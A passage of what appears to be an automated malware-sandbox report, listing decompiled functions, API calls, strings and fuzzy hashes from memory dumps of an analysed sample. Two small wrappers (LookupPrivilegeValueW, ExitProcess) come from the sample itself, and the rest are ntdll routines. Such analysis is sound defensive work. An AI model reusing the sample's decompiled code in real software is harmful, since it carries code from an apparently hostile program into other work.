Uniqueness Score: -1.00%

Function 0041A1D0, Relevance: 1.5, APIs: 1, Instructions: 24
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0041A1D0(intOrPtr _a4, WCHAR* _a8, WCHAR* _a12, struct _LUID* _a16) {
				int _t10;
				void* _t15;

				E0041A960(_t15, _a4, _a4 + 0xc8c,  *((intOrPtr*)(_a4 + 0xa18)), 0, 0x46);
				_t10 = LookupPrivilegeValueW(_a8, _a12, _a16); // executed
				return _t10;
			}

0x0041a1ea
0x0041a200
0x0041a204

APIs

LookupPrivilegeValueW.ADVAPI32(00000000,0000003C,0040F1A2,0040F1A2,0000003C,00000000,?,00409D45), ref: 0041A200

Memory Dump Source

Source File: 00000002.00000002.384709518.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: 6066231f07dbbfb97dda43844c8c8cc76a5ad0e3334111b5d8a4297bdf0bdfe7
Instruction ID: 46e8f913edfca5d9b668009ee454d724baa27d6f5a7db77fbc9955010344b6d9
Opcode Fuzzy Hash: 6066231f07dbbfb97dda43844c8c8cc76a5ad0e3334111b5d8a4297bdf0bdfe7
Instruction Fuzzy Hash: 22E01AB12002086BDB10DF49CC85EE737ADEF88650F018555BA0C67241C934E8508BF5

Uniqueness

Uniqueness Score: -1.00%

Function 0041A0B0, Relevance: 1.5, APIs: 1, Instructions: 20
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0041A0B0(intOrPtr* _a4, int _a8) {
				intOrPtr* _t6;
				intOrPtr _t9;
				char _t10;
				void* _t12;

				_t6 = _a4;
				_t9 =  *((intOrPtr*)(_t6 + 0xa14));
				 *((char*)(_t10 + _t9)) = _t10;
				 *_t6 =  *_t6 + _t6;
				E0041A960(_t12, _t6, _t6 + 0xc7c, _t9, 0, 0x36);
				ExitProcess(_a8);
			}

0x0041a0b3
0x0041a0b6
0x0041a0b7
0x0041a0ba
0x0041a0ca
0x0041a0d8

APIs

ExitProcess.KERNEL32(?,?,00000000,?,?,?), ref: 0041A0D8

Memory Dump Source

Source File: 00000002.00000002.384709518.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: caa18f4ccbf82a939ed7a560578cfa8cb4ed60065234b72d20cd43f227523b36
Instruction ID: eb2c75e7f7166c4cf28644cd9339eacac336c717648a3dafe3de7fd5e277bb7f
Opcode Fuzzy Hash: caa18f4ccbf82a939ed7a560578cfa8cb4ed60065234b72d20cd43f227523b36
Instruction Fuzzy Hash: 4CD017726102187BD620EB99CC85FD777ACDF48BA0F0584A9BA5C6B242C531BA108AE1

Uniqueness

Uniqueness Score: -1.00%

Function 0572967A, Relevance: 1.5, APIs: 1, Instructions: 8libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 05729694

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 473eb4c02d94de2de1e661598228a942b107f8451fa043cfb07297627776c7e7
Instruction ID: 785185991f261758beb42eefa34dc1d0d8f301ba123d4e18e4db460c89349a06
Opcode Fuzzy Hash: 473eb4c02d94de2de1e661598228a942b107f8451fa043cfb07297627776c7e7
Instruction Fuzzy Hash: 6BB09B719014D5CDD711D7604608B27795177D4751F56C071D2020641B4778C0D5F5B5

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0579B260, Relevance: 37.8, Strings: 30, Instructions: 262COMMON

Download Yara Rule

Strings

This is usually the result of a memory copy to a local buffer or structure where the size is not properly calculated/checked., xrefs: 0579B305
a NULL pointer, xrefs: 0579B4E0
*** then kb to get the faulting stack, xrefs: 0579B51C
This failed because of error %Ix., xrefs: 0579B446
*** Restarting wait on critsec or resource at %p (in %ws:%s), xrefs: 0579B53F
This means that the I/O device reported an I/O error. Check your hardware., xrefs: 0579B476
*** enter .cxr %p for the context, xrefs: 0579B50D
Go determine why that thread has not released the critical section., xrefs: 0579B3C5
*** Unhandled exception 0x%08lx, hit in %ws:%s, xrefs: 0579B2DC
The stack trace should show the guilty function (the function directly above __report_gsfailure)., xrefs: 0579B323
*** enter .exr %p for the exception record, xrefs: 0579B4F1
*** A stack buffer overrun occurred in %ws:%s, xrefs: 0579B2F3
*** Critical Section Timeout (%p) in %ws:%s, xrefs: 0579B39B
read from, xrefs: 0579B4AD, 0579B4B2
The critical section is unowned. This usually implies a slow-moving machine due to memory pressure, xrefs: 0579B3D6
This means the data could not be read, typically because of a bad block on the disk. Check your hardware., xrefs: 0579B47D
The resource is owned exclusively by thread %p, xrefs: 0579B374
*** Inpage error in %ws:%s, xrefs: 0579B418
The instruction at %p tried to %s , xrefs: 0579B4B6
If this bug ends up in the shipping product, it could be a severe security hole., xrefs: 0579B314
an invalid address, %p, xrefs: 0579B4CF
write to, xrefs: 0579B4A6
The resource is owned shared by %d threads, xrefs: 0579B37E
This means the machine is out of memory. Use !vm to see where all the memory is being used., xrefs: 0579B484
<unknown>, xrefs: 0579B27E, 0579B2D1, 0579B350, 0579B399, 0579B417, 0579B48E
The instruction at %p referenced memory at %p., xrefs: 0579B432
The resource is unowned. This usually implies a slow-moving machine due to memory pressure, xrefs: 0579B38F
*** An Access Violation occurred in %ws:%s, xrefs: 0579B48F
*** Resource timeout (%p) in %ws:%s, xrefs: 0579B352
The critical section is owned by thread %p., xrefs: 0579B3B9

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID: *** A stack buffer overrun occurred in %ws:%s$ *** An Access Violation occurred in %ws:%s$ *** Critical Section Timeout (%p) in %ws:%s$ *** Inpage error in %ws:%s$ *** Resource timeout (%p) in %ws:%s$ *** Unhandled exception 0x%08lx, hit in %ws:%s$ *** enter .cxr %p for the context$ *** Restarting wait on critsec or resource at %p (in %ws:%s)$ *** enter .exr %p for the exception record$ *** then kb to get the faulting stack$<unknown>$Go determine why that thread has not released the critical section.$If this bug ends up in the shipping product, it could be a severe security hole.$The critical section is owned by thread %p.$The critical section is unowned. This usually implies a slow-moving machine due to memory pressure$The instruction at %p referenced memory at %p.$The instruction at %p tried to %s $The resource is owned exclusively by thread %p$The resource is owned shared by %d threads$The resource is unowned. This usually implies a slow-moving machine due to memory pressure$The stack trace should show the guilty function (the function directly above __report_gsfailure).$This failed because of error %Ix.$This is usually the result of a memory copy to a local buffer or structure where the size is not properly calculated/checked.$This means that the I/O device reported an I/O error. Check your hardware.$This means the data could not be read, typically because of a bad block on the disk. Check your hardware.$This means the machine is out of memory. Use !vm to see where all the memory is being used.$a NULL pointer$an invalid address, %p$read from$write to
API String ID: 0-108210295
Opcode ID: 99b1c619eaded5a50965911c072464d87501d7db977120efa074047e33acf6ed
Instruction ID: d581b5df00519e14c82485bc28f5d8f041ab3077ae6fb0f273024619ad57adf8
Opcode Fuzzy Hash: 99b1c619eaded5a50965911c072464d87501d7db977120efa074047e33acf6ed
Instruction Fuzzy Hash: F081D2B5A48210FFDF29AB45BC8DD7A7B3AEF46B52F404484F4081B222D6718451FBB2

Uniqueness

Uniqueness Score: -1.00%

Function 057A1C06, Relevance: 31.4, Strings: 25, Instructions: 195
COMMON

Download Yara Rule

C-Code - Quality: 44%

			E057A1C06() {
				signed int _t27;
				char* _t104;
				char* _t105;
				intOrPtr _t113;
				intOrPtr _t115;
				intOrPtr _t117;
				intOrPtr _t119;
				intOrPtr _t120;

				_t105 = 0x56c48a4;
				_t104 = "HEAP: ";
				if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
					_push(_t104);
					E056EB150();
				} else {
					E056EB150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
				}
				_push( *0x57d589c);
				E056EB150("Heap error detected at %p (heap handle %p)\n",  *0x57d58a0);
				_t27 =  *0x57d5898; // 0x0
				if(_t27 <= 0xf) {
					switch( *((intOrPtr*)(_t27 * 4 +  &M057A1E96))) {
						case 0:
							_t105 = "heap_failure_internal";
							goto L21;
						case 1:
							goto L21;
						case 2:
							goto L21;
						case 3:
							goto L21;
						case 4:
							goto L21;
						case 5:
							goto L21;
						case 6:
							goto L21;
						case 7:
							goto L21;
						case 8:
							goto L21;
						case 9:
							goto L21;
						case 0xa:
							goto L21;
						case 0xb:
							goto L21;
						case 0xc:
							goto L21;
						case 0xd:
							goto L21;
						case 0xe:
							goto L21;
						case 0xf:
							goto L21;
					}
				}
				L21:
				if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
					_push(_t104);
					E056EB150();
				} else {
					E056EB150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
				}
				_push(_t105);
				E056EB150("Error code: %d - %s\n",  *0x57d5898);
				_t113 =  *0x57d58a4; // 0x0
				if(_t113 != 0) {
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push(_t104);
						E056EB150();
					} else {
						E056EB150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					E056EB150("Parameter1: %p\n",  *0x57d58a4);
				}
				_t115 =  *0x57d58a8; // 0x0
				if(_t115 != 0) {
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push(_t104);
						E056EB150();
					} else {
						E056EB150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					E056EB150("Parameter2: %p\n",  *0x57d58a8);
				}
				_t117 =  *0x57d58ac; // 0x0
				if(_t117 != 0) {
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push(_t104);
						E056EB150();
					} else {
						E056EB150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					E056EB150("Parameter3: %p\n",  *0x57d58ac);
				}
				_t119 =  *0x57d58b0; // 0x0
				if(_t119 != 0) {
					L41:
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push(_t104);
						E056EB150();
					} else {
						E056EB150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					_push( *0x57d58b4);
					E056EB150("Last known valid blocks: before - %p, after - %p\n",  *0x57d58b0);
				} else {
					_t120 =  *0x57d58b4; // 0x0
					if(_t120 != 0) {
						goto L41;
					}
				}
				if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
					_push(_t104);
					E056EB150();
				} else {
					E056EB150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
				}
				return E056EB150("Stack trace available at %p\n", 0x57d58c0);
			}

0x057a1c10
0x057a1c16
0x057a1c1e
0x057a1c3d
0x057a1c3e
0x057a1c20
0x057a1c35
0x057a1c3a
0x057a1c44
0x057a1c55
0x057a1c5a
0x057a1c65
0x057a1c67
0x00000000
0x057a1c6e
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x057a1c67
0x057a1cdc
0x057a1ce5
0x057a1d04
0x057a1d05
0x057a1ce7
0x057a1cfc
0x057a1d01
0x057a1d0b
0x057a1d17
0x057a1d1f
0x057a1d25
0x057a1d30
0x057a1d4f
0x057a1d50
0x057a1d32
0x057a1d47
0x057a1d4c
0x057a1d61
0x057a1d67
0x057a1d68
0x057a1d6e
0x057a1d79
0x057a1d98
0x057a1d99
0x057a1d7b
0x057a1d90
0x057a1d95
0x057a1daa
0x057a1db0
0x057a1db1
0x057a1db7
0x057a1dc2
0x057a1de1
0x057a1de2
0x057a1dc4
0x057a1dd9
0x057a1dde
0x057a1df3
0x057a1df9
0x057a1dfa
0x057a1e00
0x057a1e0a
0x057a1e13
0x057a1e32
0x057a1e33
0x057a1e15
0x057a1e2a
0x057a1e2f
0x057a1e39
0x057a1e4a
0x057a1e02
0x057a1e02
0x057a1e08
0x00000000
0x00000000
0x057a1e08
0x057a1e5b
0x057a1e7a
0x057a1e7b
0x057a1e5d
0x057a1e72
0x057a1e77
0x057a1e95

Strings

Parameter2: %p, xrefs: 057A1DA5
heap_failure_invalid_allocation_type, xrefs: 057A1CB4
heap_failure_multiple_entries_corruption, xrefs: 057A1C8A
Parameter3: %p, xrefs: 057A1DEE
heap_failure_cross_heap_operation, xrefs: 057A1CC2
heap_failure_buffer_underrun, xrefs: 057A1C9F
HEAP: , xrefs: 057A1C16, 057A1C3D, 057A1D04, 057A1D4F, 057A1D98, 057A1DE1, 057A1E32, 057A1E7A
Error code: %d - %s, xrefs: 057A1D12
Parameter1: %p, xrefs: 057A1D5C
heap_failure_entry_corruption, xrefs: 057A1C83
Heap error detected at %p (heap handle %p), xrefs: 057A1C50
heap_failure_unknown, xrefs: 057A1C75
heap_failure_virtual_block_corruption, xrefs: 057A1C91
heap_failure_generic, xrefs: 057A1C7C
heap_failure_block_not_busy, xrefs: 057A1CA6
heap_failure_lfh_bitmap_mismatch, xrefs: 057A1CD7
heap_failure_usage_after_free, xrefs: 057A1CBB
HEAP[%wZ]: , xrefs: 057A1C30, 057A1CF7, 057A1D42, 057A1D8B, 057A1DD4, 057A1E25, 057A1E6D
Stack trace available at %p, xrefs: 057A1E86
heap_failure_invalid_argument, xrefs: 057A1CAD
heap_failure_listentry_corruption, xrefs: 057A1CD0
Last known valid blocks: before - %p, after - %p, xrefs: 057A1E45
heap_failure_internal, xrefs: 057A1C6E
heap_failure_buffer_overrun, xrefs: 057A1C98
heap_failure_freelists_corruption, xrefs: 057A1CC9

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID: Error code: %d - %s$HEAP: $HEAP[%wZ]: $Heap error detected at %p (heap handle %p)$Last known valid blocks: before - %p, after - %p$Parameter1: %p$Parameter2: %p$Parameter3: %p$Stack trace available at %p$heap_failure_block_not_busy$heap_failure_buffer_overrun$heap_failure_buffer_underrun$heap_failure_cross_heap_operation$heap_failure_entry_corruption$heap_failure_freelists_corruption$heap_failure_generic$heap_failure_internal$heap_failure_invalid_allocation_type$heap_failure_invalid_argument$heap_failure_lfh_bitmap_mismatch$heap_failure_listentry_corruption$heap_failure_multiple_entries_corruption$heap_failure_unknown$heap_failure_usage_after_free$heap_failure_virtual_block_corruption
API String ID: 0-2897834094
Opcode ID: 499a637a9ff3fab0322c796a1ef782e7e979c620c23009bc83c8cf4dd01759f7
Instruction ID: 709710c2ee60c41c0f71596789b414ac85c991cf322998959a487d36dfd507d8
Opcode Fuzzy Hash: 499a637a9ff3fab0322c796a1ef782e7e979c620c23009bc83c8cf4dd01759f7
Instruction Fuzzy Hash: 2961C333A27581DFE2119B84D889D31B7B9EB44A71F49856EF40A5F311CB35AC40EB2E

Uniqueness

Uniqueness Score: -1.00%

Function 056F3D34, Relevance: 6.7, Strings: 5, Instructions: 435
COMMON

Download Yara Rule

C-Code - Quality: 96%

			E056F3D34(signed int* __ecx) {
				signed int* _v8;
				char _v12;
				signed int* _v16;
				signed int* _v20;
				char _v24;
				signed int _v28;
				signed int _v32;
				char _v36;
				signed int _v40;
				signed int _v44;
				signed int* _v48;
				signed int* _v52;
				signed int _v56;
				signed int _v60;
				char _v68;
				signed int _t140;
				signed int _t161;
				signed int* _t236;
				signed int* _t242;
				signed int* _t243;
				signed int* _t244;
				signed int* _t245;
				signed int _t255;
				void* _t257;
				signed int _t260;
				void* _t262;
				signed int _t264;
				void* _t267;
				signed int _t275;
				signed int* _t276;
				short* _t277;
				signed int* _t278;
				signed int* _t279;
				signed int* _t280;
				short* _t281;
				signed int* _t282;
				short* _t283;
				signed int* _t284;
				void* _t285;

				_v60 = _v60 | 0xffffffff;
				_t280 = 0;
				_t242 = __ecx;
				_v52 = __ecx;
				_v8 = 0;
				_v20 = 0;
				_v40 = 0;
				_v28 = 0;
				_v32 = 0;
				_v44 = 0;
				_v56 = 0;
				_t275 = 0;
				_v16 = 0;
				if(__ecx == 0) {
					_t280 = 0xc000000d;
					_t140 = 0;
					L50:
					 *_t242 =  *_t242 | 0x00000800;
					_t242[0x13] = _t140;
					_t242[0x16] = _v40;
					_t242[0x18] = _v28;
					_t242[0x14] = _v32;
					_t242[0x17] = _t275;
					_t242[0x15] = _v44;
					_t242[0x11] = _v56;
					_t242[0x12] = _v60;
					return _t280;
				}
				if(E056F1B8F(L"WindowsExcludedProcs",  &_v36,  &_v12,  &_v8) >= 0) {
					_v56 = 1;
					if(_v8 != 0) {
						L057077F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _v8);
					}
					_v8 = _t280;
				}
				if(E056F1B8F(L"Kernel-MUI-Number-Allowed",  &_v36,  &_v12,  &_v8) >= 0) {
					_v60 =  *_v8;
					L057077F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t280, _v8);
					_v8 = _t280;
				}
				if(E056F1B8F(L"Kernel-MUI-Language-Allowed",  &_v36,  &_v12,  &_v8) < 0) {
					L16:
					if(E056F1B8F(L"Kernel-MUI-Language-Disallowed",  &_v36,  &_v12,  &_v8) < 0) {
						L28:
						if(E056F1B8F(L"Kernel-MUI-Language-SKU",  &_v36,  &_v12,  &_v8) < 0) {
							L46:
							_t275 = _v16;
							L47:
							_t161 = 0;
							L48:
							if(_v8 != 0) {
								L057077F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t161, _v8);
							}
							_t140 = _v20;
							if(_t140 != 0) {
								if(_t275 != 0) {
									L057077F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t275);
									_t275 = 0;
									_v28 = 0;
									_t140 = _v20;
								}
							}
							goto L50;
						}
						_t167 = _v12;
						_t255 = _v12 + 4;
						_v44 = _t255;
						if(_t255 == 0) {
							_t276 = _t280;
							_v32 = _t280;
						} else {
							_t276 = L05704620(_t255,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _t255);
							_t167 = _v12;
							_v32 = _t276;
						}
						if(_t276 == 0) {
							_v44 = _t280;
							_t280 = 0xc0000017;
							goto L46;
						} else {
							E0572F3E0(_t276, _v8, _t167);
							_v48 = _t276;
							_t277 = E05731370(_t276, 0x56c4e90);
							_pop(_t257);
							if(_t277 == 0) {
								L38:
								_t170 = _v48;
								if( *_v48 != 0) {
									E0572BB40(0,  &_v68, _t170);
									if(L056F43C0( &_v68,  &_v24) != 0) {
										_t280 =  &(_t280[0]);
									}
								}
								if(_t280 == 0) {
									_t280 = 0;
									L057077F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _v32);
									_v44 = 0;
									_v32 = 0;
								} else {
									_t280 = 0;
								}
								_t174 = _v8;
								if(_v8 != 0) {
									L057077F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t280, _t174);
								}
								_v8 = _t280;
								goto L46;
							}
							_t243 = _v48;
							do {
								 *_t277 = 0;
								_t278 = _t277 + 2;
								E0572BB40(_t257,  &_v68, _t243);
								if(L056F43C0( &_v68,  &_v24) != 0) {
									_t280 =  &(_t280[0]);
								}
								_t243 = _t278;
								_t277 = E05731370(_t278, 0x56c4e90);
								_pop(_t257);
							} while (_t277 != 0);
							_v48 = _t243;
							_t242 = _v52;
							goto L38;
						}
					}
					_t191 = _v12;
					_t260 = _v12 + 4;
					_v28 = _t260;
					if(_t260 == 0) {
						_t275 = _t280;
						_v16 = _t280;
					} else {
						_t275 = L05704620(_t260,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _t260);
						_t191 = _v12;
						_v16 = _t275;
					}
					if(_t275 == 0) {
						_v28 = _t280;
						_t280 = 0xc0000017;
						goto L47;
					} else {
						E0572F3E0(_t275, _v8, _t191);
						_t285 = _t285 + 0xc;
						_v48 = _t275;
						_t279 = _t280;
						_t281 = E05731370(_v16, 0x56c4e90);
						_pop(_t262);
						if(_t281 != 0) {
							_t244 = _v48;
							do {
								 *_t281 = 0;
								_t282 = _t281 + 2;
								E0572BB40(_t262,  &_v68, _t244);
								if(L056F43C0( &_v68,  &_v24) != 0) {
									_t279 =  &(_t279[0]);
								}
								_t244 = _t282;
								_t281 = E05731370(_t282, 0x56c4e90);
								_pop(_t262);
							} while (_t281 != 0);
							_v48 = _t244;
							_t242 = _v52;
						}
						_t201 = _v48;
						_t280 = 0;
						if( *_v48 != 0) {
							E0572BB40(_t262,  &_v68, _t201);
							if(L056F43C0( &_v68,  &_v24) != 0) {
								_t279 =  &(_t279[0]);
							}
						}
						if(_t279 == 0) {
							L057077F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t280, _v16);
							_v28 = _t280;
							_v16 = _t280;
						}
						_t202 = _v8;
						if(_v8 != 0) {
							L057077F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t280, _t202);
						}
						_v8 = _t280;
						goto L28;
					}
				}
				_t214 = _v12;
				_t264 = _v12 + 4;
				_v40 = _t264;
				if(_t264 == 0) {
					_v20 = _t280;
				} else {
					_t236 = L05704620(_t264,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _t264);
					_t280 = _t236;
					_v20 = _t236;
					_t214 = _v12;
				}
				if(_t280 == 0) {
					_t161 = 0;
					_t280 = 0xc0000017;
					_v40 = 0;
					goto L48;
				} else {
					E0572F3E0(_t280, _v8, _t214);
					_t285 = _t285 + 0xc;
					_v48 = _t280;
					_t283 = E05731370(_t280, 0x56c4e90);
					_pop(_t267);
					if(_t283 != 0) {
						_t245 = _v48;
						do {
							 *_t283 = 0;
							_t284 = _t283 + 2;
							E0572BB40(_t267,  &_v68, _t245);
							if(L056F43C0( &_v68,  &_v24) != 0) {
								_t275 = _t275 + 1;
							}
							_t245 = _t284;
							_t283 = E05731370(_t284, 0x56c4e90);
							_pop(_t267);
						} while (_t283 != 0);
						_v48 = _t245;
						_t242 = _v52;
					}
					_t224 = _v48;
					_t280 = 0;
					if( *_v48 != 0) {
						E0572BB40(_t267,  &_v68, _t224);
						if(L056F43C0( &_v68,  &_v24) != 0) {
							_t275 = _t275 + 1;
						}
					}
					if(_t275 == 0) {
						L057077F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t280, _v20);
						_v40 = _t280;
						_v20 = _t280;
					}
					_t225 = _v8;
					if(_v8 != 0) {
						L057077F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t280, _t225);
					}
					_v8 = _t280;
					goto L16;
				}
			}

0x056f3d3c
0x056f3d42
0x056f3d44
0x056f3d46
0x056f3d49
0x056f3d4c
0x056f3d4f
0x056f3d52
0x056f3d55
0x056f3d58
0x056f3d5b
0x056f3d5f
0x056f3d61
0x056f3d66
0x05748213
0x05748218
0x056f4085
0x056f4088
0x056f408e
0x056f4094
0x056f409a
0x056f40a0
0x056f40a6
0x056f40a9
0x056f40af
0x056f40b6
0x056f40bd
0x056f40bd
0x056f3d83
0x0574821f
0x05748229
0x05748238
0x05748238
0x0574823d
0x0574823d
0x056f3da0
0x056f3daf
0x056f3db5
0x056f3dba
0x056f3dba
0x056f3dd4
0x056f3e94
0x056f3eab
0x056f3f6d
0x056f3f84
0x056f406b
0x056f406b
0x056f406e
0x056f406e
0x056f4070
0x056f4074
0x05748351
0x05748351
0x056f407a
0x056f407f
0x0574835d
0x05748370
0x05748377
0x05748379
0x0574837c
0x0574837c
0x0574835d
0x00000000
0x056f407f
0x056f3f8a
0x056f3f8d
0x056f3f90
0x056f3f95
0x0574830d
0x0574830f
0x056f3f9b
0x056f3fac
0x056f3fae
0x056f3fb1
0x056f3fb1
0x056f3fb6
0x05748317
0x0574831a
0x00000000
0x056f3fbc
0x056f3fc1
0x056f3fc9
0x056f3fd7
0x056f3fda
0x056f3fdd
0x056f4021
0x056f4021
0x056f4029
0x056f4030
0x056f4044
0x056f4046
0x056f4046
0x056f4044
0x056f4049
0x05748327
0x05748334
0x05748339
0x0574833c
0x056f404f
0x056f404f
0x056f404f
0x056f4051
0x056f4056
0x056f4063
0x056f4063
0x056f4068
0x00000000
0x056f4068
0x056f3fdf
0x056f3fe2
0x056f3fe4
0x056f3fe7
0x056f3fef
0x056f4003
0x056f4005
0x056f4005
0x056f400c
0x056f4013
0x056f4016
0x056f4017
0x056f401b
0x056f401e
0x00000000
0x056f401e
0x056f3fb6
0x056f3eb1
0x056f3eb4
0x056f3eb7
0x056f3ebc
0x057482a9
0x057482ab
0x056f3ec2
0x056f3ed3
0x056f3ed5
0x056f3ed8
0x056f3ed8
0x056f3edd
0x057482b3
0x057482b6
0x00000000
0x056f3ee3
0x056f3ee8
0x056f3eed
0x056f3ef0
0x056f3ef3
0x056f3f02
0x056f3f05
0x056f3f08
0x057482c0
0x057482c3
0x057482c5
0x057482c8
0x057482d0
0x057482e4
0x057482e6
0x057482e6
0x057482ed
0x057482f4
0x057482f7
0x057482f8
0x057482fc
0x057482ff
0x057482ff
0x056f3f0e
0x056f3f11
0x056f3f16
0x056f3f1d
0x056f3f31
0x05748307
0x05748307
0x056f3f31
0x056f3f39
0x056f3f48
0x056f3f4d
0x056f3f50
0x056f3f50
0x056f3f53
0x056f3f58
0x056f3f65
0x056f3f65
0x056f3f6a
0x00000000
0x056f3f6a
0x056f3edd
0x056f3dda
0x056f3ddd
0x056f3de0
0x056f3de5
0x05748245
0x056f3deb
0x056f3df7
0x056f3dfc
0x056f3dfe
0x056f3e01
0x056f3e01
0x056f3e06
0x0574824d
0x0574824f
0x05748254
0x00000000
0x056f3e0c
0x056f3e11
0x056f3e16
0x056f3e19
0x056f3e29
0x056f3e2c
0x056f3e2f
0x0574825c
0x0574825f
0x05748261
0x05748264
0x0574826c
0x05748280
0x05748282
0x05748282
0x05748289
0x05748290
0x05748293
0x05748294
0x05748298
0x0574829b
0x0574829b
0x056f3e35
0x056f3e38
0x056f3e3d
0x056f3e44
0x056f3e58
0x057482a3
0x057482a3
0x056f3e58
0x056f3e60
0x056f3e6f
0x056f3e74
0x056f3e77
0x056f3e77
0x056f3e7a
0x056f3e7f
0x056f3e8c
0x056f3e8c
0x056f3e91
0x00000000
0x056f3e91

Strings

Kernel-MUI-Number-Allowed, xrefs: 056F3D8C
Kernel-MUI-Language-Disallowed, xrefs: 056F3E97
Kernel-MUI-Language-Allowed, xrefs: 056F3DC0
Kernel-MUI-Language-SKU, xrefs: 056F3F70
WindowsExcludedProcs, xrefs: 056F3D6F

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID: Kernel-MUI-Language-Allowed$Kernel-MUI-Language-Disallowed$Kernel-MUI-Language-SKU$Kernel-MUI-Number-Allowed$WindowsExcludedProcs
API String ID: 0-258546922
Opcode ID: 9fbf046d8bed7a38b668da0fdc02fb745bb5c7b9aa61bd8e0293c72382874e9d
Instruction ID: ca3c6b97fe397d6f260f7679e8d648ceca4585ac94d368618e4123e825b1f353
Opcode Fuzzy Hash: 9fbf046d8bed7a38b668da0fdc02fb745bb5c7b9aa61bd8e0293c72382874e9d
Instruction Fuzzy Hash: BCF13A72E04619EFCF15DF98C984EEEBBF9FF48650F15006AE905A7650DB309A01DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 05718E00, Relevance: 5.1, Strings: 4, Instructions: 126
COMMON

Download Yara Rule

C-Code - Quality: 44%

			E05718E00(void* __ecx) {
				signed int _v8;
				char _v12;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr* _t32;
				intOrPtr _t35;
				intOrPtr _t43;
				void* _t46;
				intOrPtr _t47;
				void* _t48;
				signed int _t49;
				void* _t50;
				intOrPtr* _t51;
				signed int _t52;
				void* _t53;
				intOrPtr _t55;

				_v8 =  *0x57dd360 ^ _t52;
				_t49 = 0;
				_t48 = __ecx;
				_t55 =  *0x57d8464; // 0x74790110
				if(_t55 == 0) {
					L9:
					if( !_t49 >= 0) {
						if(( *0x57d5780 & 0x00000003) != 0) {
							E05765510("minkernel\\ntdll\\ldrsnap.c", 0x2b5, "LdrpFindDllActivationContext", 0, "Querying the active activation context failed with status 0x%08lx\n", _t49);
						}
						if(( *0x57d5780 & 0x00000010) != 0) {
							asm("int3");
						}
					}
					return E0572B640(_t49, 0, _v8 ^ _t52, _t47, _t48, _t49);
				}
				_t47 =  *((intOrPtr*)(__ecx + 0x18));
				_t43 =  *0x57d7984; // 0x5282c08
				if( *((intOrPtr*)( *[fs:0x30] + 0x1f8)) == 0 || __ecx != _t43) {
					_t32 =  *((intOrPtr*)(_t48 + 0x28));
					if(_t48 == _t43) {
						_t50 = 0x5c;
						if( *_t32 == _t50) {
							_t46 = 0x3f;
							if( *((intOrPtr*)(_t32 + 2)) == _t46 &&  *((intOrPtr*)(_t32 + 4)) == _t46 &&  *((intOrPtr*)(_t32 + 6)) == _t50 &&  *((intOrPtr*)(_t32 + 8)) != 0 &&  *((short*)(_t32 + 0xa)) == 0x3a &&  *((intOrPtr*)(_t32 + 0xc)) == _t50) {
								_t32 = _t32 + 8;
							}
						}
					}
					_t51 =  *0x57d8464; // 0x74790110
